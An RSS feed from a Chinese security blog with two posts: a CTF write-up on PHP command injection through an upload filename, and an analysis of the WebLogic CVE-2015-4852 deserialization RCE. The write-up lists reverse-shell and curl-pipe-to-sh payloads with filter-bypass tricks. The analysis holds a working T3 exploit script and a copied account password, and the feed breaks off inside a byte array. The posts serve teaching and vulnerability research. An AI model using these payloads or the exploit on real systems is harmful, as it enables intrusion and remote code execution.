<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>命令执行 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Tue, 14 Jul 2020 01:32:49 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>每日一问：记一次命令注入RCE</title>
		<link>/ctf/1815.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 14 Jul 2020 01:32:49 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[命令执行]]></category>
		<category><![CDATA[命令注入]]></category>
		<category><![CDATA[每日一问]]></category>
		<guid isPermaLink="false">/?p=1815</guid>

					<description><![CDATA[在qq群里提出了一个每日一问的活动，目的是拓展渗透实战思路，问题不限于渗透、审计、红队、逆向。这篇文章是昨天晚上临时由实战环境改的一个CTF题。 题目 模拟真实环境在群里出了一道C...]]></description>
										<content:encoded><![CDATA[<p>在qq群里提出了一个<strong><span class="wpcom_tag_link"><a href="/tags/%e6%af%8f%e6%97%a5%e4%b8%80%e9%97%ae" title="每日一问" target="_blank">每日一问</a></span></strong>的活动，目的是拓展渗透实战思路，问题不限于渗透、审计、红队、逆向。这篇文章是昨天晚上临时由实战环境改的一个CTF题。</p>
<h2>题目</h2>
<p>模拟真实环境在群里出了一道CTF题当作<strong>每日一问</strong>，代码形如：</p>
<pre><code class="language-php line-numbers">&lt;?php
header('Content-Type: text/html; charset=utf-8');
//error_reporting(0);
$upload_dir = 'uploads/';
$isFfmpeg = isset($_POST['isFfmpeg']) ? (boolean)($_POST['isFfmpeg']) : false;
$save = isset($_POST['save']) ? $upload_dir . $_POST['save'] : false;
$filename = isset($_FILES['filename']) ? $_FILES['filename']['name'] : false;
if ($isFfmpeg &amp;&amp; isset($_FILES)) {
    if ($filename &amp;&amp; $save &amp;&amp; $_FILES['filename']["type"] == 'video/blob') {
        if (move_uploaded_file($_FILES['filename']["tmp_name"], $save)) {
            $last_line = exec("ffmpeg -i " . $save . " -hide_banner");
           // echo 'success';
        } else {
            //echo 'error';
            unlink($save);
            unlink($_FILES['filename']['tmp_name']);
        }
    }
} else {
    show_source(__FILE__);
}
</code></pre>
<p>环境是oneinstack的集成环境，网站目录位于<code>/data/wwwroot/default/index.php</code>，index.php是root权限写入的。</p>
<h2>题解思路</h2>
<p>php文件很明确可以看出来两个洞：<br />
1. 任意文件上传<br />
2. <span class="wpcom_tag_link"><a href="/tags/%e5%91%bd%e4%bb%a4%e6%b3%a8%e5%85%a5" title="命令注入" target="_blank">命令注入</a></span></p>
<p>首先尝试任意文件上传，直接怼上去shell试试，构造请求包：<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ff7620e7-139a-7b60-e6c9-69ffa9293ee7.png" alt="image.png" /></p>
<p>访问 http://123.57.223.30/uploads/aa.php 报404，直接访问 http://123.57.223.30/uploads/ 没有这个目录，分析之后发现是<code>move_uploaded_file</code>的问题，当不存在uploads目录时会走else分支。</p>
<p>尝试跨目录<code>../</code>，shell应该在 http://123.57.223.30/aa.php 访问发现还是404。全站应该没有写入权限。只能走命令注入这条路了。</p>
<p>命令注入的关键点在于<code>move_uploaded_file</code>，首先找可写目录，比如<code>/tmp/</code>，因为不知道当前的绝对路径，我们可以用尽可能多的<code>../</code>跨到tmp，形如：<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/1548fa45-e335-886c-1450-8610c770ee00.png" alt="image.png" /></p>
<p>确实可行<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/b618e78f-108d-c3a8-67bf-7919a4a6ee69.png" alt="image.png" /></p>
<p>这样走到exec之后注入，dnslog带外<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/3b7fe2d5-7c78-0864-a5e8-998dd4c99022.png" alt="image.png" /></p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/0b67d591-c95e-c4d5-1447-c402c33210fb.png" alt="image.png" /></p>
<p>这个时候上传的文件名为<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/11647257-ddbd-f57a-0367-10be431ea3e0.png" alt="image.png" /></p>
<p>尝试常规的bash反弹shell</p>
<pre><code class="line-numbers">bash -i &gt;&amp; /dev/tcp/ip/8080 0&gt;&amp;1
</code></pre>
<p>发包后没收到shell，因为<code>/</code>的问题，在<code>move_uploaded_file</code>的时候会报错，走不到exec()。</p>
<p>这个时候就是体现姿势的时候了。群友给了几个姿势</p>
<pre><code class="line-numbers">/../../../../../tmp/xx;curl 10.10.10.10 |sh ;
../../../../../../tmp/asdfasd.sh;bash $(php -r "print(chr(47));")tmp$(php -r "print(chr(47));")a.sh;
/../../../../../tmp/xx;bash -i &gt;&amp; ${PWD:0:1}dev${PWD:0:1}tcp${PWD:0:1}123.57.223.30${PWD:0:1}8080 0&gt;&amp;1;
echo `echo Lwo=|base64 -d`tmp
</code></pre>
<ol>
<li>curl的原理是直接通过管道符执行curl的结果</li>
<li>先传一<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d35719f6-6a27-72e6-aa1d-16156452eb59.png" alt="image.png" /><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d8201340-434f-baf3-7913-7d1ef6f94290.png" alt="image.png" /></li>
</ol>
<h2>上帝视角</h2>
<p>主要就是命令注入和<code>move_uploaded_file</code>在Linux下的绕过。回过头看Linux权限问题<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/05143a03-99b1-c5df-b816-f0d4b9a6d80b.png" alt="image.png" /><br />
index.php为root所属，其他用户只有读权限，不可写。完美复现实战中碰到的苛刻环境，利用还算简单，重点是通过bash配合其他命令进行绕过特殊字符串。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2015-4852 Weblogic 反序列化RCE分析</title>
		<link>/audit/1151.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 30 Jan 2020 09:44:54 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<category><![CDATA[命令执行]]></category>
		<guid isPermaLink="false">/?p=1151</guid>

					<description><![CDATA[common-collections导致的反序列化RCE，闲着也是闲着，分析下。 环境 centos7 weblogic10.3.6 win10 idea 安装出现的问题 下载需要...]]></description>
										<content:encoded><![CDATA[<p>common-collections导致的<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>RCE，闲着也是闲着，分析下。</p>
<h1>环境</h1>
<p>centos7 <span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>10.3.6 win10 idea</p>
<h1>安装出现的问题</h1>
<p>下载需要Oracle账户，网上百度了一个</p>
<pre><code class="">2696671285@qq.com
密码：Oracle123
</code></pre>
<pre><code class="">-bash: ./oepe-wls-indigo-installer-11.1.1.8.0.201110211138-10.3.6-linux32.bin: /lib/ld-linux.so.2: bad ELF interpreter: 没有那个文件或目录
</code></pre>
<p>解决</p>
<pre><code class="">yum install zlib.i686 -y
</code></pre>
<p>可以图像化安装，也可以命令行静默安装，推荐还是图形化安装，或者docker也行。</p>
<h1>复现</h1>
<p><img src="https://y4er.com/img/uploads/20200130161039.png" alt="20200130161039" /></p>
<p>利用脚本如下</p>
<pre><code class="language-python ">#!/usr/bin/env python
# coding: utf-8

import socket
import struct

def exp(host, port):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (host, int(port))
    data = ""
    try:
        sock.connect(server_address)
        # Send headers
        headers = 't3 12.2.1nAS:255nHL:19nn'.format(port)
        sock.sendall(headers)
        data = sock.recv(2)
        # java -jar ysoserial.jar CommonsCollections1 "touch /tmp/exp" &gt; ./tmp
        f = open('./tmp', 'rb')
        payload_obj = f.read()
        f.close()
        payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
        payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
        payload2 = payload_obj
        payload = payload1 + payload2 + payload3

        payload = struct.pack('&gt;I', len(payload)) + payload[4:]

        sock.send(payload)
        data = sock.recv(4096)
    except socket.error as e:
        print (u'socket 连接异常！')
    finally:
        sock.close()

exp('172.16.2.129', 7001)
</code></pre>
<p>利用成功会创建 /tmp/exp 文件，可以把poc改为反弹shell的payload。</p>
<h1>远程调试</h1>
<p>修改 <code>/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh</code> 在上方加入两行debug配置</p>
<p><img src="/wp-content/uploads/2020/01/20200130161119.png" alt="20200130161119" /></p>
<pre><code class="">debugFlag="true"
export debugFlag
</code></pre>
<p>打开idea，创建一个Java web工程，从Linux中把 <code>/root/Oracle/Middleware/modules</code>目录拷出来，在idea中File->Project Structure里找到Libraries，添加modules。<br />
<img src="/wp-content/uploads/2020/01/20200130161135.png" alt="20200130161135" /><br />
然后配置远程调试，填写远程IP以及端口。<br />
<img src="/wp-content/uploads/2020/01/20200130161150.png" alt="20200130161150" /></p>
<p><img src="/wp-content/uploads/2020/01/20200130161205.png" alt="20200130161205" /></p>
<p>重新启动weblogic<br />
<img src="/wp-content/uploads/2020/01/20200130161231.png" alt="20200130161231" /></p>
<p>因为我们知道是 commons-collections的InvokerTransformer出现的问题，所以断点直接下在transform()，开启idea的debug，然后用exp打过去，发现断点已经成功。<br />
<img src="/wp-content/uploads/2020/01/20200130161306.png" alt="20200130161306" /></p>
<h1>漏洞分析</h1>
<p>先上堆栈调用链</p>
<pre><code class="">transform:123, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:50, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57
readObject:327, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
</code></pre>
<p>可以看到后半部分是common-collections的反序列化链<br />
<img src="/wp-content/uploads/2020/01/20200130161406.png" alt="20200130161406" /></p>
<p>weblogic中确实用到了这个东西，现在就需要找反序列化的入口，就需要用到weblogic的T3协议了。</p>
<p><code>./Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh</code> 这个脚本是用来关闭weblogic服务的，它的脚本中使用了 <code>t3://</code> 协议。<br />
<img src="/wp-content/uploads/2020/01/20200130161435.png" alt="20200130161435" /><br />
为了研究这个t3协议到底是个什么东西，我用tcpdump监听，然后运行脚本抓到了t3协议的流量。</p>
<pre><code class="">tcpdump -i any -w dump.pcap
</code></pre>
<p>然后发现在t3协议中，传输了序列化对象，我们知道<code>ac ed 00 05</code>是Java中序列化对象的特点，过滤下<br />
<img src="/wp-content/uploads/2020/01/20200130161506.png" alt="20200130161506" /><br />
追踪下tcp流<br />
<img src="/wp-content/uploads/2020/01/20200130161527.png" alt="20200130161527" /></p>
<p>hex转储下，发现确实存在序列化数据。<br />
<img src="/wp-content/uploads/2020/01/20200130161545.png" alt="20200130161545" /></p>
<p>所以我们可以根据t3协议来构造恶意数据进而利用common-collections的反序列化链达到<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>的目的。</p>
<p>接下来就是怎么去构造t3协议数据包？</p>
<p>先来分析下t3协议的数据流，首先是第一个数据包发送了<code>t3 10.3.6nAS:255nHL:19nn</code>，然后服务端回复了一个HELO信息<br />
<img src="/wp-content/uploads/2020/01/20200130161651.png" alt="20200130161651" /></p>
<p>前人经验：使用<code>t3 9.2.0nAS:255nHL:19nn</code>字符串作为T3的协议头发送给weblogic9、weblogic10g、weblogic11g、weblogic12c均合法。</p>
<p>再来看第二个数据包，将数据流转为C数组<br />
<img src="/wp-content/uploads/2020/01/20200130161707.png" alt="20200130161707" /></p>
<p>复制第二块红色的，代表是第二个请求包。编写Java代码来分析。</p>
<pre><code class="language-java ">package com.test.index;

import java.util.ArrayList;
import java.util.Base64;
import java.io.InputStream;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.OptionalDataException;
import java.io.StreamCorruptedException;
import java.util.Arrays;
import java.util.List;

public class DecodeObject {
    public static void main(String args[]) throws Exception {

        byte bytes[] = { /* Packet 388 */
                (byte) 0x00, (byte) 0x00, (byte) 0x05, (byte) (byte) 0xba, (byte) 0x01, (byte) 0x65, (byte) 0x01, (byte) 0xff,
                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x69, (byte) 0x00, (byte) 0x00, (byte) 0xea, (byte) 0x60, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x18, (byte) 0x05, (byte) 0x08, (byte) 0x4b, (byte) 0xa0, (byte) 0xb4,
                (byte) 0x79, (byte) 0xc0, (byte) 0xd5, (byte) 0x5b, (byte) 0x2a, (byte) 0x27, (byte) 0x86, (byte) 0x3d,
                (byte) 0x71, (byte) 0xf7, (byte) 0x37, (byte) 0xef, (byte) 0xcc, (byte) 0x99, (byte) 0x32, (byte) 0x23,
                (byte) 0x9e, (byte) 0x4b, (byte) 0x75, (byte) 0x02, (byte) 0x79, (byte) 0x73, (byte) 0x72, (byte) 0x00,
                (byte) 0x78, (byte) 0x72, (byte) 0x01, (byte) 0x78, (byte) 0x72, (byte) 0x02, (byte) 0x78, (byte) 0x70,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0a, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x03,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x06,
                (byte) 0x00, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x0a, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x03, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x06, (byte) 0x00,
                (byte) 0x70, (byte) 0x06, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0xac, (byte) 0xed,
                (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x1d, (byte) 0x77, (byte) 0x65,
                (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x72,
                (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x43, (byte) 0x6c, (byte) 0x61, (byte) 0x73,
                (byte) 0x73, (byte) 0x54, (byte) 0x61, (byte) 0x62, (byte) 0x6c, (byte) 0x65, (byte) 0x45, (byte) 0x6e,
                (byte) 0x74, (byte) 0x72, (byte) 0x79, (byte) 0x2f, (byte) 0x52, (byte) 0x65, (byte) 0x81, (byte) 0x57,
                (byte) 0xf4, (byte) 0xf9, (byte) 0xed, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
                (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f,
                (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d,
                (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72,
                (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b,
                (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0xe6,
                (byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8, (byte) 0xae, (byte) 0x1e, (byte) 0xc9, (byte) 0x02,
                (byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00, (byte) 0x05, (byte) 0x6d, (byte) 0x61, (byte) 0x6a,
                (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05, (byte) 0x6d, (byte) 0x69, (byte) 0x6e,
                (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c, (byte) 0x72, (byte) 0x6f, (byte) 0x6c,
                (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63,
                (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73, (byte) 0x65, (byte) 0x72, (byte) 0x76,
                (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x5a,
                (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d, (byte) 0x70, (byte) 0x6f, (byte) 0x72,
                (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68,
                (byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x54,
                (byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c,
                (byte) 0x6a, (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e,
                (byte) 0x67, (byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
                (byte) 0x3b, (byte) 0x4c, (byte) 0x00, (byte) 0x0a, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c,
                (byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64, (byte) 0x6f, (byte) 0x72, (byte) 0x71, (byte) 0x00,
                (byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x4c, (byte) 0x00, (byte) 0x0b, (byte) 0x69, (byte) 0x6d,
                (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f,
                (byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x78, (byte) 0x70,
                (byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0xfe, (byte) 0x01, (byte) 0x00,
                (byte) 0x00, (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00,
                (byte) 0x1d, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69,
                (byte) 0x63, (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x43,
                (byte) 0x6c, (byte) 0x61, (byte) 0x73, (byte) 0x73, (byte) 0x54, (byte) 0x61, (byte) 0x62, (byte) 0x6c,
                (byte) 0x65, (byte) 0x45, (byte) 0x6e, (byte) 0x74, (byte) 0x72, (byte) 0x79, (byte) 0x2f, (byte) 0x52,
                (byte) 0x65, (byte) 0x81, (byte) 0x57, (byte) 0xf4, (byte) 0xf9, (byte) 0xed, (byte) 0x0c, (byte) 0x00,
                (byte) 0x00, (byte) 0x78, (byte) 0x70, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65,
                (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63,
                (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e,
                (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x56,
                (byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e,
                (byte) 0x66, (byte) 0x6f, (byte) 0x97, (byte) 0x22, (byte) 0x45, (byte) 0x51, (byte) 0x64, (byte) 0x52,
                (byte) 0x46, (byte) 0x3e, (byte) 0x02, (byte) 0x00, (byte) 0x03, (byte) 0x5b, (byte) 0x00, (byte) 0x08,
                (byte) 0x70, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73,
                (byte) 0x74, (byte) 0x00, (byte) 0x27, (byte) 0x5b, (byte) 0x4c, (byte) 0x77, (byte) 0x65, (byte) 0x62,
                (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2f, (byte) 0x63, (byte) 0x6f,
                (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2f, (byte) 0x69, (byte) 0x6e, (byte) 0x74,
                (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2f, (byte) 0x50, (byte) 0x61,
                (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66,
                (byte) 0x6f, (byte) 0x3b, (byte) 0x4c, (byte) 0x00, (byte) 0x0e, (byte) 0x72, (byte) 0x65, (byte) 0x6c,
                (byte) 0x65, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x56, (byte) 0x65, (byte) 0x72, (byte) 0x73,
                (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c, (byte) 0x6a,
                (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e, (byte) 0x67,
                (byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x3b,
                (byte) 0x5b, (byte) 0x00, (byte) 0x12, (byte) 0x76, (byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69,
                (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x41, (byte) 0x73,
                (byte) 0x42, (byte) 0x79, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00, (byte) 0x02,
                (byte) 0x5b, (byte) 0x42, (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65,
                (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63,
                (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e,
                (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x50,
                (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e,
                (byte) 0x66, (byte) 0x6f, (byte) 0xe6, (byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8, (byte) 0xae,
                (byte) 0x1e, (byte) 0xc9, (byte) 0x02, (byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00, (byte) 0x05,
                (byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05,
                (byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c,
                (byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50,
                (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73,
                (byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61,
                (byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d,
                (byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61,
                (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69, (byte) 0x6d,
                (byte) 0x70, (byte) 0x6c, (byte) 0x54, (byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65, (byte) 0x71,
